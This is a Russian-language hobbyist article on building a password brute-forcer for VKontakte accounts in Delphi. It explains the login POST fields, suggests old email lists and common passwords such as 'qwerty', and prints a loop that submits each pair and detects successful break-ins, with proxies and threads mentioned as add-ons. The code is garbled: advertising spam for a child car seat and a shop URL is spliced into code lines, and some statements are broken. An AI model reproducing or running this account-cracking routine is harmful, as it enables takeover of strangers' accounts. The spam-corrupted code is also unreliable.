Что ж прежде, чем приступить к изложению своих мыслей по теме, оговорюсь, что вся представленная информация является следствием природного любопытства и никакого злого умысла в себе не несет. Использовать ее вы можете лишь на свой страх и риск, я за это никакой ответственности ни несу, просто делюсь опытом. Вообще, на реализацию основного программного кода у меня ушло от силы 30 минут, остальные же полтора часа я убил на разработку красивого GUI, обработку в фотошопе логотипа в «контакте» и прочую мишуру… =) И так, это не учебник для начинающих и описывать пошаговые действия я не буду, лишь расскажу общую концепцию действий и приведу программный код. Статья расчита на то, что вы владеете основными навыками написаний приложений в среде Delphi и хотя бы как то знакомы с принципами взаимодействия Делфи-Интернет.
Как известно брут это тупой подбор пароля, либо по словарю, либо вообще случайным образом. Соответственно, каким образом можно осуществить подбор пароля к сайту Вконтакте, а для начала – что нам понадобится? Авторизация на сайте происходит по средствам ввода e-mail адреса и пароля, значит, у нас должно быть: список e-mail адресов (любой - в контакте больше 10 миллионов пользователей и любой список, даже двух летней давности скорей всего даст результат), к этим адресам мы будем подбирать пароли, и, собственно, сам список паролей либо просто один распространенный пароль (например «qwerty» или «123456»).
Отлично. Теперь разберем план действий, который в принципе просто элементарен. Просмотрев HTML код главной страницы в контакте можно выяснить следующее:
* Введенные e-mail и пароль отправляются скрипту login.php методом POST
* В пост запросе e-mail содержится в поле «email»
* В пост запросе пароль содержится в поле «pass»
* После получения запроса скрипт login.php проверяет данные и загружает соответствующую страницу профиля, либо страницу ошибки, если e-mail или пароль не верные.
В итоге нам нужно реализовать следующий алгоритм:
Блок схема алгоритма брутера
По данной схеме: «Действие 1» – действие в случае если пара логин/пароль подошла (то есть удачно подобрали), «Действие 2» – соответственно наоборот, не подошла.
Условие «подошло?» подразумевает проверку ответа сервера, я не придумал ничего умнее кроме как искать в ответе (сервер «отвечает» HTML код страницы) строку «<title>В Контакте | Вход</title>», то есть если сервер опять отправил нас на страницу входа, то значит пара логин/пароль не подошла, соответственно если этой строки нет – поздравляю мы вошли в чей-то аккаунт!
Приступим непосредственно к кодингу. Для работы с HTTP протоколом я выбрал компоненты Indy (класс TidHTTP), конечно это не лучший вариант, можно было использовать сокеты, но что уж поделаешь лентяй я… )))
В моем примере:
* Emails – объект TStringList, содержит список мыл
* Pass - – объект TStringList, содержит список паролей
Code
procedure Brute();
var
emails:TStingList; // список мыл
pass:TStingList; // список паролей
post:TStingList; // список полей пост запроса
i,j:integer; // счетчики циклов
begin
email:=TStringList.Create; pass:=TStringList.Create; // Инициализируем переменные
// ================================================
// тут заполняем мыла и пароли, а лучше грузим из файла
// ================================================
http:=TidHTTP.Create(nil); // создаем HTTPClient
http.HandleRedirects автокресло kiddy infinity pro 2009, Детское автокресло kiddy infinity pro :=true; // это необходимо
post:=tstringlist.Create; // этот стринг лист содержит поля e-mail и пароль
for i:=0 to emails.Count-1 do begin // перебираем в цикле мыльники
post.Clear; // отчищаем
post.Add('email='+emails.Strings[i]); // указываем e-mail
for j:=0 to pass.Count-1 do begin // перебираем пароли для выбранного мыльника
post.Add('pass='+pass.Strings[j]); // указываем пароль
result: http://bebiki.ru/katalog/products/vannochki/cam-stol-dlja-pelenanija-nuvola =http.Post('/',post); // посылаем запрос
if pos('',result)>;0 then // проверяем ответ
// неудачно подобрали. какое то действие
else
// удачно подобрали. какое то действие, например записать в файл пару мыло/пароль
end;
end;
// освободим переменные
emails.Free;
pass.Free;
http.Free;
post.Free;
end;
Конечно, это просто кусок основного кода, но я подробного расписал алгоритм и человеку с руками ничего не стоит доделать это все до «нормального» вида, прикрутить потоки и т.д.
В конечном итоге, помимо потоков в моем варианте я добавил еще и работу через прокси-сервер, выглядит это так:
Приятного кодинга! И не забывайте про УК РФ, все-таки «контакт» довольно крупный, и к тому же российский ресурс! =)